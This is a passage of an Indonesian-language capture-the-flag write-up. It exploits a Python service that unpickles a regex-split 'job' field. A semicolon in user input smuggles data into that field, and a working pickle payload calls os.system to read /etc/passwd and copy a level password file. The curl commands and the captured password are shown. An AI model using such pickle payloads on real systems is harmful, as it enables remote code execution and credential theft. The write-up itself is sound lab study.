(S'cat /etc/passwd'
tR.
String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.
Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?
Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input string yang mengandung karakter ‘;’ seperti ini:
curl localhost:9020 -d 'inidata; job: inijob'
Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--
Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ‘;’ dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’ menjadi bagian dari field job.
Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.
$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
"result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj